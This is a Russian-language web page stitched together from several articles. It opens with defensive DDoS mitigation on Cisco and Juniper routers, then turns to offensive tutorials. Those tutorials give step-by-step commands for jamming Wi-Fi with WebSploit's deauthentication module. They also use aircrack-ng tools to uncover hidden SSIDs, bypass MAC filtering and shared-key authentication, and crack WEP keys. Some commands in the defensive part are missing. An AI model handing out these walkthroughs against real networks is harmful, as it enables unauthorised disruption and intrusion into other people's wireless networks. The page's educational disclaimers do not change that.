Как сделать атаку ddos на wi fi

Обновлено: 04.07.2024

В сегодняшнем материале речь пойдет о вариантах защиты о DDoS-атак:

  • на уровне провайдера
  • на уровне сетевого оборудования распределения и доступа
  • на уровне конфигурирования системного и прикладного ПО

А пока небольшой экскурс в теорию вопроса, что бы лучше понимать что и как работает

Чаще всего DDoS-атаки делят на четыре основных типа:

  • Объемные атаки.При таких атаках создается трафик такого объема, который превышает пропускную способность канала организации.
  • Атаки на приложения.С помощью сложных запросов, на выполнение которых требуются значительные ресурсы, выводятся из строя ключевые приложения, определяющие функционирование информационной системы в целом.
  • Другие инфраструктурные атаки.Сюда входят атаки, не входящие в предыдущие типы, но также направленные на вывод из строя сетевого оборудования или серверов.
  • Гибридные атаки. К этому виду относятся сложные атаки, сочетающие в себе сразу несколько типов атак, перечисленных в первых трех пунктах.

Рассмотрим наиболее распространенные виды DoS-атак:

Обнаружение DoS-атаки

  • Огромное количество ARP-запросов;
  • Огромное количество записей в NAT/PAT-таблице;
  • Повышенное использование памяти маршрутизатора;
  • Повышенное использование процессорного времени маршрутизатора.

Для обнаружения симптомов DoS-атаки вам нужно подключиться к своему маршрутизатору и, используя диагностические утилиты операционной системы маршрутизатора, выяснить, имеет ли место DoS-атака.

Например, в Cisco IOS просмотреть использование процессора можно с помощью команды

При обычной настройке маршрутизатор показывает, сколько пакетов было запрещено, но он не предоставляет подробной информации об этих пакетах. Чтобы была возможность отслеживать DoS-атаки, нужно специальным образом настроить ACL. Это позволит нам не только увидеть, сколько пакетов отброшено, но и проанализировать причину запрещения пакетов. Например, можно добавить в ACL следующие правила:

Технология NetFlow используется для получения статистики по потокам данных, проходящих через оборудование Cisco. NetFlow использует потоки для идентификации трафика. Cisco идентифицирует каждый поток по следующим параметрам: IP-адресам отправителя и получателя, типу протокола (TCP, UDP), номерам портов протоколов TCP и UDP, типу сервиса, номеру входящего физического интерфейса и т.д. Все это позволяет получить полную информацию о трафике, проанализировав которую можно определить тип DoS-атаки.

Некоторые маршрутизаторы поддерживают технологию перехвата TCP-соединений (в Cisco она называется TCP Intercept). Данная технология успешно используется против TCP SYN-атак.

Данная технология весьма эффективно зарекомендовала себя при борьбе с TCP SYN-атаками. Для включения TCP Intercept в Cisco IOS используется команда:

access-list <номер ACL> deny icmp any any unreachable

Использование системы обнаружения вторжения IDS (Intrusion Detection System) позволяет уберечься от многих видов атак, в том числе и от DoS. Система IDS может быть установлена как на сервере, так и на маршрутизаторе. Некоторые модели маршрутизаторов оснащены встроенными IDS.

И так резюмируем, общие команды выявления DoS - атаки

access-list 100 deny icmp any any echo reply log-input

BGP blackhole (Использование метода "Черной дыры" с помощью протокола BGP)

Этот метод позволяет полностью прекратить поток трафика на атакуемый сервер и снять нагрузку с каналов AS и провайдера.

Blackhole позволяет управлять трафиком на уровне провайдера, до попадания в нашу AS. Он эффективен для борьбы с крупными атаками на пропускную способность канала.

Схематически метод рекурсивного blackhole показан ниже:


Метод практического применения показан на примере маршрутизаторов Juniper, но может быть реализован на оборудовании любого вендора.

Сначала необходимо создать определенный community для обозначения префиксов установленных в blackhole:

set policy-options community TEST_blackhole members 1:666

Далее создаем Policy для импорта префиксов от нашего пира, выбираем из них префиксы с community blackhole и заворачиваем их в Null (в Juniper это discard):

[edit policy-options policy-statement Blackhole-import]

Назначаем этот policy-statement на eBGP сессию для импортируемых (получаемых) префиксов от клиентов.

Аналогичным образом, сначала, создается community для обозначения префиксов установленных в blackhole:

set policy-options community TEST_blackhole members 1:666

Значения те же самые как и на стороне провайдера, с той лишь разницей, что номер AS должен соответствовать AS провайдера, то есть, кто выдает community тот и устанавливает его обозначение. Далее создаем policy-statement для добавления community к префиксам которые надо передавать маршрутизатору ISP.

Префиксы выбираются из static маршрутов. Так как маршрутизатор изначально знает только о сетях больше /32, специфичный префикс нужно создавать отдельно. Как видно из правила from, этот policy-statement будет выбирать все статические маршруты с тегом 666 (номер тега может быть любым). Назначаем этот policy-statement в качестве фильтра export на eBGP сессию к нашему провайдеру. Теперь, если есть необходимость поставить адрес сервера в blackhole создаем статический маршрут /32 на нашем маршрутизаторе.

Например, для установки в blackhole адреса указанного на схеме надо выполнить команду:

set routing-options static route 1.1.1.1/32 discard tag 666

Посмотрим, как это работает на примере маршрутизаторов Cisco

! Нужно выбрать произвольный IP и завернуть его в null0.

! Разрешаем клиенту анонсировать /32 из своего блока

! Даже если клиент подключен без использования ebgp multi-hop, эта строчка

! необходима из-за особенностей работы ios. Т.к. для оценки достижимости netxhop-а

! в cisco используется тот же параметр, что и ebgp multi-hop.

! На статические маршруты с тэгом 666 устанавливаем community 0:666

! Разрешаем редистрибуцию статических маршрутов по нашему фильтру

Итак, если пришла пора биться с DDoS, клиент просто добавляет маршрут в Null на атакуемый хост и вешает на него тэг 666:

Этот маршрут с community 666, анонсируется ISP, который также заворачивает трафик в null0.

Данный функционал позволяет осуществлять фильтрацию и контроль служебного трафика, предназначенного для маршрутизатора и процессора маршрутизации.

Обычно, доступ к собственным адресам маршрутизирующего оборудования необходим только для хостов собственной сети оператора связи, однако бывают и исключения (например, eBGP, GRE, туннели IPv6 over IPv4, и ICMP). Инфраструктурные списки контроля доступа:

  • обычно устанавливаются на границе сети оператора связи ("на входе в сеть");
  • имеют целью предотвратить доступ внешних хостов к адресам инфраструктуры оператора;
  • обеспечивают беспрепятственный транзит трафика через границу операторской сети;
  • обеспечивают базовые механизмы защиты от несанкционированной сетевой активности, описанные в RFC 1918, RFC 3330, в частности, защиту от спуфинга (spoofing, использование поддельных IP адресов источника с целью маскировки при запуске атаки).

Рекомендуется всегда, когда это возможно, обеспечивать аутентификацию хостов, с которыми производится обмен служебными данными либо трафиком управления.

Управляемые черные дыры (Remotely Triggered Blackholes) используются для "сбрасывания" (уничтожения, отправления "в никуда") трафика, поступающего в сеть, путем маршрутизации данного трафика на специальные интерфейсы Null 0. Данную технологию рекомендуется использовать на границе сети для сброса содержащего DDoS-атаку трафика при его поступлении в сеть. Ограничением (причем существенным) данного метода является то, что он применяется ко всему трафику, предназначенному для определенного хоста или хостов, являющимися целью атаки. Таким образом, данный метод может использоваться в случаях, когда массированной атаке подвергается один или несколько хостов, что вызывает проблемы не только для атакуемых хостов, но также и для других абонентов и сети оператора связи в целом.

Управление черными дырами может осуществляться как вручную, так и посредством протокола BGP.

Управление QoS через BGP (QPPB) полволяет управлять политиками приоритета для трафика, предназначенного определенной автономной системе либо блоку IP-адресов. Данный механизм может оказаться очень полезен для операторов связи и крупных предприятий, в том числе и для управления уровнем приоритета для нежелательного трафика или трафика, содержащего DDoS-атаку.

В некоторых случаях требуется не полностью удалять трафик с использованием черных дыр, а отводить его в сторону от основных каналов или ресурсов для последующего мониторинга и анализа. Именно для этого и предназначены "отводные каналы" или Sink Holes.

6. Sink Holes используются чаще всего в следующих случаях:

  • для отвода в сторону и анализа трафика с адресами назначения, которые принадлежат адресному пространству сети оператора связи, но при этом реально не используются (не были выделены ни оборудованию, ни пользователям); такой трафик является априори подозрительным, так как зачастую свидетельствует о попытках просканировать или проникнуть в вашу сеть злоумышленником, не имеющим подробной информации о её структуре;
  • для перенаправления трафика от цели атаки, являющейся реально функционирующим в сети оператора связи ресурсом, для его мониторинга и анализа.


Классификация трафика с целью фильтрации паразитного потока

Итак, первое что надо запомнить, что маршрутизатор по умолчанию не блокирует на интерфейсе никакой нормальный трафик (фреймы с неправильной контрольной суммой не счёт). Однако, часть пакетов, при более глубоком рассмотрении (процессором) маршрутизатор таки признает ненужными, например:

3. Пакеты, относящиеся к служебным протоколам (например, протоколам маршрутизации), которые не запущены на маршрутизаторе.

Эти уничтоженные пакеты могут сыграть злую шутку: если такого трафика будет много, то он может существенно загрузить процессор маршрутизатора.

Далее, кроме транзитного трафика, маршрутизатор обрабатывает некоторый служебный трафик (направленный на него самого). Часто по умолчанию (или незнанию) на маршрутизаторе запущены ненужные для работы протоколы. Они опасны тем, что маршрутизатор обрабатывает пакеты этого протокола. И можно устроить, например, DoS атаку, узнать удалённо сведенья, не предназначенные для распространения или исследовать топологию сети. К таким протоколам относятся

1. TFTP (маршрутизатор может выступать сервером TFTP).

2. BOOTP (может раздавать бездисковым станциям их файлы настройки)

3. DHCP (Маршрутизатор может выступать сервером и клиентом)

7. NTP (Network Time Protocol. Маршрутизатор может выступать сервером и клиентом)

8. DNS (Включен по умолчанию броадкастовый поиск ДНС серверов в сегменте)

10. SNMP (Часто сконфигурированы дефолтные community)

Хотелось бы научиться отбрасывать такие пакеты, не нагружая мозг. Также, часто возникает задача ограничить нагрузку служебным трафиком на процессор. Например, указав максимальное количество служебных пакетов (всего или по отдельным протоколам) в очереди или количество служебных пакетов в секунду.

Эти задачи решаются при помощи специального режима

Чтобы воспользоваться этой технологией можно создать специальные классы трафика

class-map type?
access-control access-control specific class-map
control Configure a control policy class-map
inspect Configure CBAC Class Map
logging Class map for control-plane packet logging
port-filter Class map for port filter
queue-threshold Class map for queue threshold
stack class-map for protocol header stack specification

Создать специальную политику (Policy-map type )
policy-map type?
access-control access-control specific policy-map
control Configure a control policy policy-map
inspect Configure CBAC Policy Map
logging Control-plane packet logging
port-filter Control-plane tcp/udp port filtering
queue-threshold Control-plane protocol queue limiting

И применить её в этом режиме:
control-plane host
service-policy type?
logging Control-plane packet logging
port-filter Control-plane tcp/udp port filtering
queue-threshold Control-plane protocol queue limiting

Ограничение же нагрузки на мозг служебными пакетами организуется похоже, только для этого достаточно описать обычный класс трафика, обычную политику, где в качестве действия указать ограничение словом police
police rate [units] pps

Продолжаем изучать хакерские утилиты и сегодня разберемся как работать с WebSploit. На примере проведения DOS-атаки на Wi-Fi сеть. При этом, напомню, что вмешательство в работу чужих сетей, может нарушать требования законодательства, а все материалы в этой статье представлены исключительно в образовательных и ознакомительных целях, а также для повышения уровня понимания основ информационной безопасности и не являются призывом к действию.

dos attack

Что такое DOS-атака?

Вполне очевидно (из определения) что DOS атаку можно провести на любую систему, сеть, службу и т.д. в том числе и на wi-fi. И именно этим мы сегодня и займёмся.

WebSploit

С чего начать использование WebSploit? Правильно, с его установки:

После установки запускаем его:

websploit

И на экране появиться приветствие с номером версии, датой последнего обновления и т.д., а также предложение к вводу команды:


Команд которые можно использовать не так много, что, скорее, хорошо:

Теперь, чисто в образовательных целях, ознакомимся с доступными модулями утилиты:

Список доступных модулей не такой уж и маленький:

websploit show modules

Логика использования каждого из предложенных модулей довольно похожа, и понятна из доступных в этом фреймворке команд, и мы разберем её на примере wi-fi jammer.

Но перед этим необходимо провести парочку подготовительных мероприятий (в другом окне терминала), а именно перевести наш беспроводной адаптер в режим мониторинга:

режим мониторинга

Предварительно, командой iwconfig проверь как называется твой беспроводной интерфейс. А иногда (редко) может понадобиться завершить процессы о которых нас предупреждает airmon-ng. Это можно сделать командой kill и указать PID процесса.

Теперь нам нужно определиться с какой именно wi-fi сетью мы будем работать, для этого давай посмотрим какие сети есть в пределах досягаемости:


Мы будем работать со специально созданной мной для этого сетью home 33. Собственно, из всех имеющихся сведений о сети, нам понадобятся: BSSID, CH, ESSID

Теперь вернёмся к WebSploit и задействуем нужный нам модуль:

теперь можем ознакомиться с настройками этого модуля:

wi-fi jummer

В разделе Options мы видим какие параметры нужно дать модулю для работы:

wi-fi jammer show modules

Убедившись что всё правильно, можем запускать:

wi-fi jummer run

После этого утилита начнёт работу, а все кто подключен к атакуемой wi-fi с горечью обнаружат, что у них пропал интернет.

Остановить процесс можно командой stop.

Защита от DOS атаки на wi-fi

А на этом, пожалуй всё. Используй полученные знания только во благо и не забывай возвращаться к нам, чтобы узнать ещё много интересного.

В прошлой статье о беспроводных сетях мы рассмотрели первый этап — сбор информации, или wardriving. Сейчас же, продемонстрируем несколько способов получения несанкционированного доступа к беспроводным сетям, а также рекомендации по защите от них.

  1. SSID Cloaking — скрытие имени сети. Доступ разрешается только клиентам, которые знают это имя.
  2. MAC Filtering — фильтрация по MAC адресам. Доступ разрешается только клиентам, адреса сетевых адаптеров которых записаны в точке доступа.
  3. Shared key Authentication — аутентификация с общим ключом. Доступ разрешается лишь тем клиентам, которые прошли проверку, используя общий ключ.
  1. WEP — статистически самый используемый метод защиты беспроводной сети. Предоставляет шифрование всех передаваемых по сети данных. Аутентификации, как таковой не имеет — если вы не знаете ключа, вы не сможете расшифровать данные. Недостаток этого метода — очень слабый алгоритм, ключ взламывается злоумышленником менее чем за 5 минут.
  2. WPA и WPA2 Pre-Shared Key — сильная система аутентификации и шифрования данных. Доступ производится через общий ключ. Уровень защиты равен сложности общего ключа, так как система подвержена brute force атакам.
  3. WPA и WPA2 Enterprise — вариант предыдущей системы, но для подтверждения личности используется внешний аутентификатор 802.1x EAP, что позволяет использовать сертификаты, смарт карты и т.д.

Для удобства в дальнейшем будем использовать такие обозначения:

00:aa:aa:aa:aa:aa — MAC адрес точки доступа

00:cc:cc:cc:cc:cc — MAC адрес подключенного к этой точке клиента

00:ff:ff:ff:ff:ff — MAC адрес нашего адаптера

wlan0 — имя нашего беспроводного интерфейса

1.Обход SSID Cloaking

При подключении к точке доступа, на которой активировано скрытие имени, клиент всегда отправит это имя. Поэтому нам достаточно дождаться одного клиента и все. Для этого запускаем


airodump-ng wlan0 -c <канал, на котором находится точка доступа>

и если в крайней колонке вы видите <Length:X>, где Х — некое число, то эта сеть скрывает свое имя. Далее нужно подождать немного, пока кто-то подключиться, и тогда значение в колонке изменится на имя сети автоматически. Либо, если долго не удается ничего словить, то можно запустить деаутентификацию командой


aireplay-ng wlan0 -0 100 -b 00:aa:aa:aa:aa:aa, где 100 — количество деаутентификаций клиентов

Эта операция начнет рассылать пакеты, приказывающие клиентам, подключенным к точке доступа, отключиться от нее. Они отключатся и через несколько секунд начнут подключаться вновь, отсылая в запросе на подключение имя сети. Соответственно airodump-ng его сразу покажет. Для большей эффективности деаутентификации лучше атаковать конкретного подключенного клиента

aireplay-ng wlan0 -0 100 -b 00:aa:aa:aa:aa:aa -с 00: сс: сс: сс: сс: сс

Также для целей раскрытия имени сети можно использовать kismet. Эта программа автоматически выдает имя сети при подключении к ней клиента.

2.Обход MAC Filtering

Для подключения к точке доступа, которая фильтрует пользователей по MAC адресу их адаптера, необходимо знать лишь MAC адрес уже подключенного клиента. Зная адрес, в ОС Linux выполните

ifconfig wlan0 down

ifconfig wlan0 hw ether 00:cc:cc:cc:cc:cc

ifconfig wlan0 up

либо для OC Windows, воспользуйтесь утилитой MAC changer. Далее необходимо дождаться пока

легитимный клиент отключится, и тогда подключиться, либо использовать атаку деаутентификации на легитимного клиента.

3.Обход Shared Key Authentication

Если вы пытаетесь проделать фальшивую аутентификацию командой

aireplay-ng wlan0 -1 4000 -a 00:aa:aa:aa:aa:aa

Sending Authentication Request
AP rejects open-system authentication
Please specify a PRGA-file (-y),

то необходимо получить екземпляр аутентификации с общим ключом. Программа airodump-ng это умеет. Запускаем её и ожидаем, пока поле AUTH для выбранной сети не станет равно SKA. Это значит, что программа словила аутентификацию и сохранила ее в файл с именем sharedkey-*.xor. Далее выполняем

aireplay-ng -1 4000 -e <имя сети> -y sharedkey-<ваш файл>.xor -a 00:aa:aa:aa:aa:aa -h 00:ff:ff:ff:ff:ff wlan0

и вы аутентифицируетесь. Если же долго не появляется SKA в airodump-ng, то можно, как и в случае с раскрытием имени, деаутентифицировать существующего клиента.

4. Взлом Wep ключа

Для того, чтобы не ждать, пока адаптер словит 80 000 пакетов, мы будем эти пакеты генерировать сами. И самый лучший для этой цели пакет — ARP. Его можна добыть несколькими способами. Но начнем мы с фальшивой аутентификации, без которой точка доступа будет просто игнорировать наши отправляемые пакеты.


aireplay-ng wlan0 -1 4000 -a 00:aa:aa:aa:aa:aa

И запускаем Airodump-ng, чтоб сохранять пакеты

airodump-ng wlan0 -c 6 -w save, где 6 — канал сети, save — сохранение

Далее самый простой способ:

aireplay-ng wlan0 -3 -a 00:aa:aa:aa:aa:aa

В этом случае адаптер ловит пакеты и ожидает ARP пакеты. Когда же он появится программа, автоматически начинает его ретранслировать, генерируя новые пакеты, необходимые нам для взлома ключа. После этого запускаете программу:


aircrack-ng save-*.cap

и ждете пока она вам не выдаст ключ сети.

Так же можно самим создать этот ARP пакет. Для этого нам понадобится поток ключа (keystream). Достать его можна двумя способами. Первый — chop-chop атака, более медленная но срабатывает чаще.

aireplay-ng wlan0 -4 -b 00:aa:aa:aa:aa:aa

Вскоре программа словит пакет и, если его размер больше 56 байт, можете нажимать 'y'. Через некоторое время поток будет добыт и сохранен в replay_dec-*.xor. Если же программа выдала ошибку, попробуйте запустить её так:

aireplay-ng wlan0 -4 -b 00:aa:aa:aa:aa:aa -h 00:ff:ff:ff:ff:ff

И обязательно перед этим запустите фальшивую аутентификацию.

Другой вариант — фрагментационная атака. Она значительно быстрее, но работает не на всех точках доступа.

aireplay-ng wlan0 -5 -b 00:aa:aa:aa:aa:aa

После успешного выполнения вы также получите файл fragment-*.xor

Далее, имея файл с потоком ключа, мы создаем пакет:

packetforge-ng -0 -a 00:aa:aa:aa:aa:aa -h 00:ff:ff:ff:ff:ff -k 255.255.255.255 -l 255.255.255.255 -y <файл с потоком> -w arp, где arp — файл для сохранения пакета.

Теперь мы этот пакет будем постоянно отправлять:

aireplay-ng wlan0 -2 -r arp

И также, как и в первом варианте, запускаем aircrack-ng и ожидаем вывода ключа сети.

5.Защита

Как видите, все эти 4 метода имеют уязвимости и легко обходятся, так что даже комбинация SSID cloaking + Mac filtering + SKA +WEP займет у злоумышленника больше времени, но в итоге своего он добьется. Поэтому мы рекомендуем использовать исключительно WPA2 с длинными ключами в случае PSK и надежной системой внешней аутентификации в случае WPA2-Enterprise. Остальные методы не предоставляют достаточного уровня безопасности.

В следующей статье мы рассмотри более экзотические атаки на WEP (caffe-latte, client fragmentation и подключение к сети, не зная wep ключа), а также атаки на WPA и способы защиты от них.

Для тех, кто не в курсе: Dos-атака – это атака с целью довести систему до отказа в обслуживании за счет отправки большого количества ложного трафика. Отличие Dos-атаки от Ddos заключается в том, что атака производиться с одного хоста, нежели с множества распределенных компьютеров. Зачем проводить подобного рода атаку на Wi-Fi? В основном злоумышленники хотят нарушить функционирование сети и нанести финансовый ущерб компаниям, но также данный тип атаки может является одним из этапов взлома беспроводных сетей, более известный как “Злой двойник”. Суть нашей атаки будет заключаться в непрерывной отправке пакетов деаутентификации одному или более клиентам Wi-FI сети из-за чего жертвы просто-напросто не смогут работать в атакуемой сети. Для реализации нам понадобиться операционная система Kali Linux.

Для начала необходимо перевести беспроводную карту в режим монитора, если быть точнее в режим контроля. Без этого мы не сможем работать с утилитами для взлома Wi-Fi сетей. Чтобы узнать как называется наш Wi-FI адаптер введем команду iwconfig.


Отлично, теперь переведем нашу карту в режим монитора утилитой aircrack-ng, которая является предустановленной программой в Kali Linux и ее не требуется устанавливать. Введем команду airmon-ng start wlan0. Теперь наша беспроводная карта в режиме монитора будет называться wlan0mon. Вы можете убедиться в этом с помощью команды iwconfig. Отмечу, что в режиме монитора у вас не будет доступа к интернету.

Теперь нам необходимо собрать данные нашей жертвы а именно название точки доступа, канал на котором она работает и MAC-адрес. Прописываем команду airodum-ng wlan0mon.


Программа просканирует ближайшие Wi-FI-точки и выдаст необходимую нам информацию. Я выберу свой роутер под названием Backdoor. Теперь у нас есть почти всё, что нужно, осталось только установить утилиту Websploit для проведения Ddos-атаки.

Устанавливаем данную прогу командой apt-get install websploit. Для запуска введем название в консоли. У данной утилиты есть множество модулей. Перечень всех возможностей можно посмотреть прописав команду show modules.



Нас интересует раздел “Wi-Fi и Bluetooth-модулей”, а конкретно опция wifi_jammer. Синтаксис программы прост: для запуска нужно прописать команду use и название модуля.

После этого остается лишь ввести данные нашей жертвы командой set. В первую очередь вводим название точки доступа, после MAC-адрес и канал. Переводим нашу беспроводную карту в режим монитора, чтобы наверняка и запускаем атаку командой run.

Как мы видим утилита отправляет множество пакетов деаутентификации Wi-FI роутеру.


Вы можете убедиться в успешности атаки прописав команду airodump-ng wlan0mon.

Нас интересует значение PWR, которое равно нулю. Это значит, что DDoS-атака работает и клиенты, которые используют заддосенную WiFi-точку никак не смогут подключиться к ней. Ну и для остановки атаки введите команду stop.

Читайте также: